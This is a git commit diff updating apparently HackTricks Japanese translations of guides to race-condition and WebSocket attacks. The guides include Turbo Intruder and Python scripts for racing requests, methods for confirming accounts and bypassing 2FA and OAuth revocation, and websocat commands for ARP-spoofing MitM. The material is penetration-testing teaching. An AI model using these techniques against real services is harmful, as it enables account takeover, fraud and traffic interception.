Translated ['', 'src/pentesting-web/race-condition.md', 'src/pentesting-

This commit is contained in:
Translator 2025-09-29 14:22:35 +00:00
parent 6a8c4a8ef2
commit a389380fed
3 changed files with 277 additions and 141 deletions

View File

@ -837,9 +837,14 @@
- [WWW2Exec - GOT/PLT](binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md)
- [WWW2Exec - \_\_malloc_hook & \_\_free_hook](binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md)
- [Common Exploiting Problems](binary-exploitation/common-exploiting-problems.md)
- [Linux kernel exploitation - toctou](binary-exploitation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md)
- [Windows Exploiting (Basic Guide - OSCP lvl)](binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md)
- [iOS Exploiting](binary-exploitation/ios-exploiting.md)
- [iOS Exploiting](binary-exploitation/ios-exploiting/README.md)
- [ios CVE-2020-27950-mach_msg_trailer_t](binary-exploitation/ios-exploiting/CVE-2020-27950-mach_msg_trailer_t.md)
- [ios CVE-2021-30807-IOMobileFrameBuffer](binary-exploitation/ios-exploiting/CVE-2021-30807-IOMobileFrameBuffer.md)
- [ios Corellium](binary-exploitation/ios-exploiting/ios-corellium.md)
- [ios Heap Exploitation](binary-exploitation/ios-exploiting/ios-example-heap-exploit.md)
- [ios Physical UAF - IOSurface](binary-exploitation/ios-exploiting/ios-physical-uaf-iosurface.md)
# 🤖 AI
- [AI Security](AI/README.md)

View File

@ -1,58 +1,58 @@
# レースコンディション
# Race Condition
{{#include ../banners/hacktricks-training.md}}
> [!WARNING]
> この技術を深く理解するためには、[https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine)の元のレポートを確認してください。
> この手法を深く理解するには、元のレポートを[https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine)で確認してください
## レースコンディション攻撃の強化
## Race Condition 攻撃の強化
レースコンディションを利用する際の主な障害は、**処理時間にほとんど差がない状態で、複数のリクエストが同時に処理されることを確実にすること—理想的には1ms未満**です。
race condition を利用する際の主な障害は、複数のリクエストがほぼ同時に処理されるようにすることで、処理時間の差が**非常に小さいこと ― 理想的には1ms未満**であることを保証する点です。
ここではリクエストを同期させるためのいくつかの技術を紹介します。
ここではリクエストを同期させるためのいくつかの手法を紹介します:
#### HTTP/2 シングルパケット攻撃 vs. HTTP/1.1 ラストバイト同期
#### HTTP/2 Single-Packet Attack vs. HTTP/1.1 Last-Byte Synchronization
- **HTTP/2**: 単一のTCP接続で2つのリクエストを送信することをサポートし、ネットワークのジッターの影響を軽減します。ただし、サーバー側の変動により、2つのリクエストでは一貫したレースコンディションの悪用には不十分な場合があります。
- **HTTP/1.1 'ラストバイト同期'**: 20-30のリクエストのほとんどの部分を事前に送信し、小さな断片を保持して一緒に送信することで、サーバーへの同時到着を実現します。
- **HTTP/2**: 単一のTCP接続上で2つのリクエストを送ることができ、ネットワークのジッタの影響を低減します。ただし、サーバー側の差異により、常にrace conditionを再現するには2つのリクエストだけでは不十分なことがあります。
- **HTTP/1.1 'Last-Byte Sync'**: 20〜30のリクエストのほとんどの部分を事前送信し、小さな断片だけを保留にしておき、それらを同時に送信することで、サーバー側で同時到着を実現します。
**ラストバイト同期の準備**には以下が含まれます:
**Preparation for Last-Byte Sync** involves:
1. ストリームを終了せずに最終バイトを除いたヘッダーとボディデータを送信します
2. 初回送信後に100ms待機します。
3. TCP_NODELAYを無効にして、Nagleのアルゴリズムを利用して最終フレームをバッチ処理します
4. 接続を温めるためにピングを送信します
1. ヘッダと本文データから最後のバイトを除いた部分を送信し、ストリームを終了しない
2. 初回送信後に100ms待機す
3. 最終フレームのバッチ化のために TCP_NODELAY を無効にして Nagle's algorithm を利用する
4. 接続をウォームアップするために ping を送る
その後、保持されたフレームを送信すると、Wiresharkで確認できるように、単一のパケットで到着するはずです。この方法は、通常RC攻撃に関与しない静的ファイルには適用されません。
保留していたフレームをその後送信すると、それらが単一パケットで到着するはずで、Wireshark で確認できます。この手法は通常 RC 攻撃に関与しない static files には適用できません。
### サーバーアーキテクチャへの適応
ターゲットのアーキテクチャを理解することは重要です。フロントエンドサーバーはリクエストを異なる方法でルーティングする可能性があり、タイミングに影響を与えます。無関係なリクエストを通じてサーバー側の接続を事前に温めることで、リクエストのタイミングを正常化することができます。
ターゲットのアーキテクチャを理解することが重要です。Front-end servers はリクエストを異なる経路でルーティングする可能性があり、タイミングに影響を与えます。意味のないリクエストでサーバー側の接続を事前にウォームアップしておくことで、リクエストのタイミングが均一化される場合があります。
#### セッションベースのロックの処理
#### Session-Based Locking の扱い
PHPのセッションハンドラーのようなフレームワークは、セッションごとにリクエストをシリアライズし、脆弱性を隠す可能性があります。各リクエストに異なるセッショントークンを使用することで、この問題を回避できます。
PHP の session handler のようなフレームワークは、セッション単位でリクエストをシリアライズするため、脆弱性が隠れることがあります。各リクエストで異なる session tokens を使うことでこの問題を回避できます。
#### レートまたはリソース制限の克服
#### レートリソース制限の克服
接続の温めが効果的でない場合、ダミーリクエストの洪水を通じてウェブサーバーのレートまたはリソース制限の遅延を意図的に引き起こすことで、レースコンディションに適したサーバー側の遅延を誘発し、シングルパケット攻撃を促進することができます。
接続のウォームアップが効果を発揮しない場合、ダミーリクエストを大量に送って web servers のレートやリソース制限による遅延を意図的に誘発させることで、single-packet attack を実行しやすいサーバー側の遅延を生み出せる場合があります。
## 攻撃の例
## Attack Examples
- **Tubo Intruder - HTTP2 シングルパケット攻撃 (1エンドポイント)**: **Turbo intruder**にリクエストを送信できます(`Extensions` -> `Turbo Intruder` -> `Send to Turbo Intruder`)。リクエスト内で**`%s`**の値をブルートフォースしたい値に変更できます。例えば、`csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s`のように。そして、ドロップダウンから**`examples/race-single-packer-attack.py`**を選択します:
- **Tubo Intruder - HTTP2 single-packet attack (1 endpoint)**: You can send the request to **Turbo intruder** (`Extensions` -> `Turbo Intruder` -> `Send to Turbo Intruder`), you can change in the request the value you want to brute force for **`%s`** like in `csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s` and then select the **`examples/race-single-packer-attack.py`** from the drop down:
<figure><img src="../images/image (57).png" alt=""><figcaption></figcaption></figure>
異なる値を**送信する**場合は、クリップボードからのワードリストを使用するこのコードで変更できます:
If you are going to **send different values**, you could modify the code with this one that uses a wordlist from the clipboard:
```python
passwords = wordlists.clipboard
for password in passwords:
engine.queue(target.req, password, gate='race1')
```
> [!WARNING]
> ウェブがHTTP2をサポートしていない場合HTTP1.1のみ)、`Engine.THREADED`または`Engine.BURP`を使用してください。`Engine.BURP2`の代わりに
> ウェブが HTTP2 をサポートしておらずHTTP1.1 のみ)場合は、`Engine.BURP2` の代わりに `Engine.THREADED` または `Engine.BURP` を使用してください
- **Tubo Intruder - HTTP2シングルパケット攻撃(複数のエンドポイント)**: 1つのエンドポイントにリクエストを送信し、その後他のエンドポイントに複数のリクエストを送信してRCEをトリガーする必要がある場合、`race-single-packet-attack.py`スクリプトを次のように変更できます:
- **Tubo Intruder - HTTP2 single-packet attack (Several endpoints)**: 1 endpoint にリクエストを送り、その後他の複数の endpoint にリクエストを送って RCE をトリガーする必要がある場合、`race-single-packet-attack.py` スクリプトを次のように変更できます:
```python
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
@ -83,16 +83,16 @@ engine.queue(confirmationReq, gate=currentAttempt)
# send all the queued requests for this attempt
engine.openGate(currentAttempt)
```
- **Repeater**でも、Burp Suiteの新しい「**Send group in parallel**」オプションを使用できます。
- **limit-overrun**の場合、グループに**同じリクエストを50回**追加するだけで済みます。
- **connection warming**のために、**グループ**の**最初**にウェブサーバーの非静的部分への**リクエスト**を**追加**することができます。
- **delaying**プロセスのために、**1つのリクエストと別のリクエストの間**に**追加のリクエストを挿入**することができます
- **multi-endpoint** RCの場合、**隠れた状態**に送信される**リクエスト**を最初に送信し、その後に**隠れた状態を悪用する50のリクエスト**を送信することができます。
- **Repeater** でも、Burp Suite の新しい '**Send group in parallel**' オプションから利用できます。
- **limit-overrun** の場合、グループに **same request 50 times** を追加するだけでよいです。
- **connection warming** の場合、**group** の **beginning** にウェブサーバーの非静的な部分へ向けた **requests** をいくつか **add** することができます。
- 2 サブステートのステップで、ある **request** の処理と次の **request** の処理の **between** に処理を **delaying** したい場合は、両方の **requests** の間に追加の **requests****add extra requests between** してください
- **multi-endpoint** RC の場合、まず **goes to the hidden state** する **request** を送り、その直後に **exploits the hidden state** する **50 requests** を続けて送信できます。
<figure><img src="../images/image (58).png" alt=""><figcaption></figcaption></figure>
- **Automated python script**: このスクリプトの目的は、ユーザーのメールアドレスを変更し、新しいメールの検証トークンが最後のメールに届くまで継続的に確認することですこれは、コード内でメールを変更できるRCが見られたためで、検証が古いメールに送信される可能性があったためです。最初のメールで変数がすでに設定されていました)。\
「objetivo」という単語が受信したメールに見つかると、変更されたメールの検証トークンを受け取ったことがわかり、攻撃を終了します。
- **Automated python script**: このスクリプトの目的は、ユーザーのメールアドレスを変更しつつその検証が完了するまで継続的に確認することです。新しいメールの検証トークンが最後のメールアドレスに届くまで待ちます(これはコード内で、メールを変更できるが検証が古いメールに送られてしまう RC が確認されたためで、メールを示す変数が最初の値で既に設定されていたからです)。\
受信したメールの中に "objetivo" という単語が見つかったら、変更したメールの検証トークンを受け取ったことが確認できるので、攻撃を終了します。
```python
# https://portswigger.net/web-security/race-conditions/lab-race-conditions-limit-overrun
# Script from victor to solve a HTB challenge
@ -217,22 +217,22 @@ h2_conn.close_connection()
response = requests.get(url, verify=False)
```
### 改善されたシングルパケット攻撃
### Single Packet Attack の改善
元の研究では、この攻撃には1,500バイトの制限があると説明されています。しかし、[**この投稿**](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/)では、**IP層のフラグメンテーションを使用してシングルパケット攻撃の1,500バイトの制限をTCPの**65,535 Bウィンドウ制限に拡張する方法**が説明されており単一のパケットを複数のIPパケットに分割し、異なる順序で送信することで、すべてのフラグメントがサーバーに到達するまでパケットの再構成を防ぐことが可能です。この技術により、研究者は約166msで10,000リクエストを送信することができました。
オリジナルの研究では、この攻撃は1,500バイトの制限があると説明されています。しかし、[**this post**](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/)では、IPレイヤのフラグメンテーション単一のパケットを複数のIPパケットに分割を使用し、パケットを別順序で送信することで、single packet attack の1,500バイトの制限をTCPの**65,535 Bウィンドウ制限**まで拡張できる方法が説明されています。これにより、すべてのフラグメントがサーバに届くまでパケットの再構成を防ぐことができます。この手法により、研究者は約166msで10,000件のリクエストを送信できました。
この改善により、同時に到着する必要がある数百/数千のパケットを必要とするRC攻撃がより信頼性の高いものになりますが、ソフトウェアの制限がある可能性もあります。Apache、Nginx、Goなどの一般的なHTTPサーバーには、`SETTINGS_MAX_CONCURRENT_STREAMS`の設定がそれぞれ100、128、250と厳格に設定されています。しかし、NodeJSやnghttp2のような他のサーバーは無制限です。\
これは基本的に、Apacheが単一のTCP接続から100のHTTP接続しか考慮しないことを意味しこのRC攻撃を制限します
この改善により、数百〜数千のパケットが同時に到着することを要求するRCにおいて攻撃の信頼性は向上しますが、ソフトウェア側の制約もあります。Apache、Nginx、Go のような一般的なHTTPサーバーは `SETTINGS_MAX_CONCURRENT_STREAMS` がそれぞれ100、128、250 に厳格に設定されています。一方、NodeJS や nghttp2 のようなものは無制限です。\
これは基本的に Apache が単一のTCP接続からのHTTP接続を100件しか扱わないことを意味しこのRC攻撃を制限します
この技術を使用したいくつかの例は、リポジトリ[https://github.com/Ry0taK/first-sequence-sync/tree/main](https://github.com/Ry0taK/first-sequence-sync/tree/main)で見つけることができます。
この手法を使ったいくつかの例はリポジトリ https://github.com/Ry0taK/first-sequence-sync/tree/main で確認できます。
## 生のBF
## Raw BF
の研究の前に、RCを引き起こすためにパケットをできるだけ早く送信しようとしたいくつかのペイロードが使用されました。
述の研究以前は、RCを引き起こすためにパケットを可能な限り高速で送信しようとする以下のようなペイロードが使用されていました。
- **リピーター:** 前のセクションの例を確認してください。
- **侵入者**: **リクエスト**を**侵入者**に送信し、**オプションメニュー内でスレッド数を**30**に設定し、ペイロードとして**Null payloads**を選択し、**30**を生成します。
- **ターボ侵入者**
- **Repeater:** 前のセクションの例を参照してください。
- **Intruder**: **request**を**Intruder**に送信し、**Options menu**内で**number of threads**を**30**に設定し、ペイロードとして**Null payloads**を選択して**30**を生成します。
- **Turbo Intruder**
```python
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
@ -283,71 +283,71 @@ asyncio.run(main())
### Limit-overrun / TOCTOU
これは、**アクションを実行できる回数を制限する場所に**現れる**脆弱性**の最も基本的なタイプのレースコンディションです。例えば、ウェブストアで同じ割引コードを何度も使用することです。非常に簡単な例は[**このレポート**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43)や[**このバグ**](https://hackerone.com/reports/759247)**に見られます。**
これは、アクションの実行回数を制限する場所に**vulnerabilities**が**appear**する、最も基本的なタイプのrace conditionです。例えば、同じ割引コードをウェブストアで何度も使うことが挙げられます。簡単な例は[**this report**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43)や[**this bug**](https://hackerone.com/reports/759247)**.**
この種の攻撃には多くのバリエーションがあります。例えば:
There are many variations of this kind of attack, including:
- ギフトカードを複数回利用する
- 商品を複数回評価する
- アカウント残高を超えて現金を引き出したり転送したりする
- 単一のCAPTCHA解決策を再利用する
- アンチブルートフォースレート制限を回避する
- Redeeming a gift card multiple times
- Rating a product multiple times
- Withdrawing or transferring cash in excess of your account balance
- Reusing a single CAPTCHA solution
- Bypassing an anti-brute-force rate limit
### **Hidden substates**
複雑なレースコンディションを悪用することは、隠れたまたは**意図しないマシンのサブステート**と相互作用するための短い機会を利用することを含むことがよくあります。これにアプローチする方法は次のとおりです:
複雑な race condition を悪用する際は、短い機会を利用して hidden または **unintended machine substates** とやり取りすることを狙うことが多いです。アプローチ方法は以下の通りです:
1. **潜在的な隠れたサブステートを特定する**
- ユーザープロファイルやパスワードリセットプロセスなど、重要なデータを変更または相互作用するエンドポイントを特定することから始めます。以下に焦点を当てます:
- **ストレージ**:クライアント側のデータを扱うエンドポイントよりも、サーバー側の永続データを操作するエンドポイントを優先します
- **アクション**:既存のデータを変更する操作を探します。これは新しいデータを追加する操作よりも、悪用可能な条件を作成する可能性が高いです
- **キーイング**:成功した攻撃は通常、同じ識別子(例:ユーザー名やリセットトークン)に基づく操作を含みます
2. **初期プロービングを実施する**
- 特定したエンドポイントに対してレースコンディション攻撃をテストし、期待される結果からの逸脱を観察します。予期しない応答やアプリケーションの動作の変化は脆弱性を示す可能性があります
3. **脆弱性を示す**
- 脆弱性を悪用するために必要な最小限のリクエスト数に攻撃を絞り込みます。通常は2回です。このステップでは、正確なタイミングが関与するため、複数回の試行や自動化が必要になることがあります
1. **Identify Potential Hidden Substates**
- まず、user profiles や password reset のような重要なデータを変更・操作する endpoints を特定します。注目点:
- **Storage**: client-side を扱うものよりも server-side の永続データを操作する endpoints を優先する
- **Action**: 既存データを変更する操作を探す。新規データを追加する操作より exploitable conditions を生みやすい
- **Keying**: 成功する攻撃は通常、同じ識別子(例: username や reset tokenでキー付けされた操作が関係する
2. **Conduct Initial Probing**
- 特定した endpoints に対して race condition 攻撃でテストし、期待される結果からの逸脱を観察する。予期しないレスポンスやアプリ挙動の変化は vulnerability の兆候となる
3. **Demonstrate the Vulnerability**
- 攻撃を最小のリクエスト数(多くの場合 2 回)に絞って vulnerability を実証する。正確なタイミングが必要なため、この段階では複数回の試行や自動化が必要になることがある
### 時間に敏感な攻撃
### Time Sensitive Attacks
リクエストのタイミングの精度は脆弱性を明らかにすることができ、特にタイムスタンプのような予測可能な方法がセキュリティトークンに使用される場合に顕著です。例えば、タイムスタンプに基づいてパスワードリセットトークンを生成すると、同時リクエストに対して同一のトークンが許可される可能性があります
リクエストのタイミングを精密に合わせることで vulnerabilities が露呈することがある。特に timestamps のような予測可能な手法で security tokens を生成している場合に顕著である。例えば、timestamp ベースで password reset tokens を生成していると、同時に行ったリクエストで同一の token が生成される可能性がある
**悪用するには:**
**To Exploit:**
- 単一パケット攻撃のような正確なタイミングを使用して、同時にパスワードリセットリクエストを行います。同一のトークンは脆弱性を示します。
- 精密なタイミング(単一パケット攻撃など)で同時に password reset リクエストを送る。同一の token が返れば vulnerability を示す。
**例:**
**Example:**
- 同時に2つのパスワードリセットトークンをリクエストし、それらを比較します。トークンが一致する場合、トークン生成に欠陥があることを示唆します
- 同時に 2 つの password reset token を要求して比較する。一致すれば token 生成の欠陥を示唆する
**これを確認してください** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities) **を試してみてください。**
**Check this** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities) **to try this.**
## Hidden substates case studies
### Pay & add an Item
この[**PortSwigger Lab**](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-insufficient-workflow-validation)を確認して、**支払い**を行い、**追加の**アイテムを**支払わずに追加する**方法を見てください
この挙動store で **pay** して支払い不要の**追加アイテム**を**add**する方法)は[**PortSwigger Lab**](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-insufficient-workflow-validation)で確認できます
### Confirm other emails
アイデアは、**メールアドレスを確認し、同時に別のものに変更する**ことで、プラットフォームが変更された新しいものを確認するかどうかを調べることです。
狙いは、**同時に email address を verify しつつ別のものに change して、プラットフォームが新しいアドレスを確認するかどうかを確かめる**ことです。
### Change email to 2 emails addresses Cookie based
[**この研究**](https://portswigger.net/research/smashing-the-state-machine)によると、Gitlabはこの方法で乗っ取られる脆弱性があり、**一つのメールの**メール確認トークンを**別のメールに送信する**可能性があります。
According to [**this research**](https://portswigger.net/research/smashing-the-state-machine) Gitlab was vulnerable to a takeover this way because it might **send** the **email verification token of one email to the other email**.
**これを確認してください** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint) **を試してみてください。**
**Check this** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint) **to try this.**
### Hidden Database states / Confirmation Bypass
**2つの異なる書き込み**が**データベース**内に**情報を追加するために**使用される場合、**最初のデータのみがデータベースに書き込まれる**小さな時間の部分があります。例えば、ユーザーを作成する際に、**ユーザー名**と**パスワード**が**書き込まれ**、その後に新しく作成されたアカウントを確認するための**トークン**が書き込まれます。これは、**アカウントを確認するためのトークンがnullである**小さな時間があることを意味します
もし **2 different writes****database** 内に **information****add** するために使われると、database に **only the first data has been written** 短い時間帯が生じる。例えば、ユーザ作成時に **username****password****written** され、その後に新規アカウントを確認する **token** が書き込まれる、という順序だと、その間は **token to confirm an account is null** という状態になる
したがって、**アカウントを登録し、空のトークン**`token=`または`token[]=`または他のバリエーション)を使用してアカウントをすぐに確認するための複数のリクエストを送信することで、**メールを制御していないアカウントを確認する**ことができる可能性があります。
Therefore **registering an account and sending several requests with an empty token** (`token=` or `token[]=` or any other variation) to confirm the account right away could allow to c**onfirm an account** where you don't control the email.
**これを確認してください** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-partial-construction) **を試してみてください。**
**Check this** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-partial-construction) **to try this.**
### Bypass 2FA
以下の擬似コードは、セッションが作成されている間に**2FAが強制されていない**非常に短い時間があるため、レースコンディションに対して脆弱です:
The following pseudo-code is vulnerable to race condition because in a very small time the **2FA is not enforced** while the session is created:
```python
session['userid'] = user.userid
if user.mfa_enabled:
@ -355,24 +355,26 @@ session['enforce_mfa'] = True
# generate and send MFA code to user
# redirect browser to MFA code entry form
```
### OAuth2 永続的な持続性
### OAuth2 永続的な
いくつかの [**OAUth プロバイダー**](https://en.wikipedia.org/wiki/List_of_OAuth_providers) があります。これらのサービスは、アプリケーションを作成し、プロバイダーが登録したユーザーを認証することを可能にします。そのためには、**クライアント**が **あなたのアプリケーション****いくつかのデータへのアクセスを許可する** 必要があります。\
ここまで、google/linkedin/github などの一般的なログインで、"_アプリケーション \<InsertCoolName> があなたの情報にアクセスしたいと考えています。許可しますか_" というページが表示されます。
There are several [**OAUth providers**](https://en.wikipedia.org/wiki/List_of_OAuth_providers). これらのサービスではアプリケーションを作成し、プロバイダに登録されているユーザーを認証することができます。
そのために、**client** は **あなたのアプリケーションを許可**して、**OAUth provider** 内のデータの一部へアクセスできるようにする必要があります。\
ここまでは google/linkedin/github... 等でよくある一般的なログインで、次のようなページが表示されます:"_Application \<InsertCoolName> wants to access you information, do you want to allow it?_"
#### `authorization_code` におけるレースコンディション
#### Race Condition in `authorization_code`
**問題**は、あなたが **それを受け入れる** と、悪意のあるアプリケーションに **`authorization_code`** が自動的に送信されるときに発生します。その後、この **アプリケーションは OAUth サービスプロバイダーのレースコンディションを悪用して、あなたのアカウントの **`authorization_code`** から複数の AT/RT** (_認証トークン/リフレッシュトークン_) を生成します。基本的に、あなたがアプリケーションにデータへのアクセスを許可した事実を悪用して **複数のアカウントを作成します**。その後、もしあなたが **アプリケーションにデータへのアクセスを許可しなくなった場合、1組の AT/RT は削除されますが、他のものはまだ有効です**
The **problem** appears when you **accept it** and automatically sends an **`authorization_code`** to the malicious application. Then, this **application abuses a Race Condition in the OAUth service provider to generate more that one AT/RT** (_Authentication Token/Refresh Token_) from the **`authorization_code`** for your account. 基本的には、あなたがアプリケーションにデータへのアクセスを許可した事実を悪用して **複数のアカウントを作成** します。 その後、もしアプリケーションへのアクセス許可を取り消しても、1組の AT/RT は削除されるかもしれませんが、他のものは依然として有効なまま残ります
#### `Refresh Token` におけるレースコンディション
#### Race Condition in `Refresh Token`
一度 **有効な RT****取得すると、複数の AT/RT を生成するためにそれを悪用しようとすることができます**。そして、**ユーザーが悪意のあるアプリケーションにデータへのアクセスの権限をキャンセルしても、**複数の RT はまだ有効です**。
Once you have **obtained a valid RT** you could try to **abuse it to generate several AT/RT** and **even if the user cancels the permissions** for the malicious application to access his data, **several RTs will still be valid.**
## **WebSockets における RC**
## **RC in WebSockets**
[**WS_RaceCondition_PoC**](https://github.com/redrays-io/WS_RaceCondition_PoC) では、**並行して** WebSocket メッセージを送信して **Web Sockets におけるレースコンディションを悪用する** PoC を Java で見つけることができます。
- In [**WS_RaceCondition_PoC**](https://github.com/redrays-io/WS_RaceCondition_PoC) you can find a PoC in Java to send websocket messages in **parallel** to abuse **Race Conditions also in Web Sockets**.
- With Burps WebSocket Turbo Intruder you can use the **THREADED** engine to spawn multiple WS connections and fire payloads in parallel. Start from the official example and tune `config()` (thread count) for concurrency; this is often more reliable than batching on a single connection when racing serverside state across WS handlers. See [RaceConditionExample.py](https://github.com/d0ge/WebSocketTurboIntruder/blob/main/src/main/resources/examples/RaceConditionExample.py).
## 参考文献
## References
- [https://hackerone.com/reports/759247](https://hackerone.com/reports/759247)
- [https://pandaonair.com/2020/06/11/race-conditions-exploring-the-possibilities.html](https://pandaonair.com/2020/06/11/race-conditions-exploring-the-possibilities.html)
@ -380,5 +382,8 @@ session['enforce_mfa'] = True
- [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine)
- [https://portswigger.net/web-security/race-conditions](https://portswigger.net/web-security/race-conditions)
- [https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/)
- [WebSocket Turbo Intruder: Unearthing the WebSocket Goldmine](https://portswigger.net/research/websocket-turbo-intruder-unearthing-the-websocket-goldmine)
- [WebSocketTurboIntruder GitHub](https://github.com/d0ge/WebSocketTurboIntruder)
- [RaceConditionExample.py](https://github.com/d0ge/WebSocketTurboIntruder/blob/main/src/main/resources/examples/RaceConditionExample.py)
{{#include ../banners/hacktricks-training.md}}

View File

@ -1,22 +1,22 @@
# WebSocket Attacks
# WebSocket 攻撃
{{#include ../banners/hacktricks-training.md}}
## WebSocketとは
## WebSocketsとは
WebSocket接続は最初の**HTTP**ハンドシェイクを通じて確立され、**長期間**の接続を目的としており、トランザクションシステムを必要とせずにいつでも双方向のメッセージングを可能にします。これにより、WebSocketは**低遅延またはサーバー起動の通信**を必要とするアプリケーションに特に有利です。
WebSocket接続は最初の**HTTP**ハンドシェイクを通じて確立され、**長時間持続**するように設計されており、トランザクション型の仕組みを必要とせず、いつでも双方向メッセージングが可能になります。これにより、WebSocketsは**低レイテンシまたはサーバー起点の通信**を必要とするアプリケーション(例えばライブ金融データストリーム)に特に適しています。
### WebSocket接続の確立
WebSocket接続の確立に関する詳細な説明は[**こちら**](https://infosecwriteups.com/cross-site-websocket-hijacking-cswsh-ce2a6b0747fc)でアクセスできます。要約すると、WebSocket接続は通常、以下に示すようにクライアント側のJavaScriptを介して開始されます:
WebSocket接続の確立に関する詳細な説明は[**こちら**](https://infosecwriteups.com/cross-site-websocket-hijacking-cswsh-ce2a6b0747fc)で参照できます。要約すると、WebSocket接続は通常クライアントサイドのJavaScriptを介して以下のように開始されます:
```javascript
var ws = new WebSocket("wss://normal-website.com/ws")
```
`wss`プロトコルは**TLS**で保護されたWebSocket接続を示し、`ws`は**保護されていない**接続を示します。
`wss` プロトコルは **TLS** で保護された WebSocket 接続を示し、`ws` **保護**接続を示します。
接続の確立中に、ブラウザとサーバーの間でHTTPを介してハンドシェイクが行われます。ハンドシェイクプロセスでは、ブラウザがリクエストを送信し、サーバーが応答します。以下の例に示されています:
接続の確立時には、HTTP を介してブラウザとサーバー間でハンドシェイクが行われます。ハンドシェイクプロセスでは、ブラウザがリクエストを送信しサーバーが応答します。以下の例のように示されます:
ブラウザがハンドシェイクリクエストを送信
ブラウザがハンドシェイクリクエストを送信します:
```javascript
GET /chat HTTP/1.1
Host: normal-website.com
@ -26,53 +26,53 @@ Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket
```
サーバーのハンドシェイク応答:
Serverのhandshake response:
```javascript
HTTP/1.1 101 Switching Protocols
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=
```
接続は確立されると、双方向でメッセージ交換のためにオープンのままになります。
接続が確立されると、両方向のメッセージ交換のために接続は開いたままになります。
**WebSocketハンドシェイクの重要なポイント:**
- `Connection`および`Upgrade`ヘッダーはWebSocketハンドシェイクの開始を示します。
- `Sec-WebSocket-Version`ヘッダーは、通常`13`の希望するWebSocketプロトコルバージョンを示します。
- Base64エンコードされたランダム値が`Sec-WebSocket-Key`ヘッダーに送信され、各ハンドシェイクがユニークであることを保証し、キャッシングプロキシによる問題を防ぎます。この値は認証のためではなく、応答が誤って構成されたサーバーやキャッシュによって生成されていないことを確認するためのものです。
- サーバーの応答における`Sec-WebSocket-Accept`ヘッダーは`Sec-WebSocket-Key`のハッシュであり、WebSocket接続を開くというサーバーの意図を検証します。
- `Connection``Upgrade` ヘッダーは WebSocket ハンドシェイクの開始を示します。
- `Sec-WebSocket-Version` ヘッダーは望ましい WebSocket プロトコルのバージョン(通常は `13`を示します。
- `Sec-WebSocket-Key` ヘッダーには Base64 エンコードされたランダム値が送信され、各ハンドシェイクが一意であることを保証します。これによりキャッシュプロキシによる問題を防ぐのに役立ちます。この値は認証のためのものではなく、レスポンスが誤設定されたサーバやキャッシュによって生成されたものではないことを確認するためのものです。
- サーバのレスポンスに含まれる `Sec-WebSocket-Accept` ヘッダーは `Sec-WebSocket-Key` のハッシュであり、サーバが WebSocket 接続を開く意図があることを検証します。
これらの機能は、ハンドシェイクプロセスが安全で信頼性があることを保証し、効率的なリアルタイム通信への道を開きます。
これらの機能により、ハンドシェイクプロセスは安全かつ信頼性の高いものとなり、効率的なリアルタイム通信の基盤が築かれます。
### Linux コンソール
`websocat`を使用してWebSocketとの生の接続を確立できます。
`websocat` を使って websocket との生の接続を確立できます。
```bash
websocat --insecure wss://10.10.10.10:8000 -v
```
ウェブソケットサーバーを作成するには:
または websocat サーバーを作成するには:
```bash
websocat -s 0.0.0.0:8000 #Listen in port 8000
```
### MitM websocket connections
### MitM websocket 接続
もしクライアントが現在のローカルネットワークから**HTTP websocket**に接続していることがわかった場合、[ARP Spoofing Attack](../generic-methodologies-and-resources/pentesting-network/index.html#arp-spoofing)を試みて、クライアントとサーバーの間でMitM攻撃を実行することができます。\
クライアントが接続しようとしているときに、次のように使用できます:
現在のローカルネットワーク上でclientが**HTTP websocket**に接続しているのを見つけた場合、[ARP Spoofing Attack ](../generic-methodologies-and-resources/pentesting-network/index.html#arp-spoofing)を試して、clientとserverの間でMitM attackを実行できます。\
clientが接続を試みると、次に以下を使用できます:
```bash
websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v
```
### Websockets enumeration
### Websockets 列挙
**ツール** [**https://github.com/PalindromeLabs/STEWS**](https://github.com/PalindromeLabs/STEWS) **を使用して、WebSocketの既知の** **脆弱性** **を自動的に発見、フィンガープリンティング、検索できます。**
自動的に websockets の既知の脆弱性を検出、フィンガープリント、検索するには、**ツール** [**https://github.com/PalindromeLabs/STEWS**](https://github.com/PalindromeLabs/STEWS) を使用できます。
### Websocket Debug tools
### Websocket デバッグツール
- **Burp Suite** は、通常のHTTP通信と非常に似た方法でMitM WebSocket通信をサポートしています。
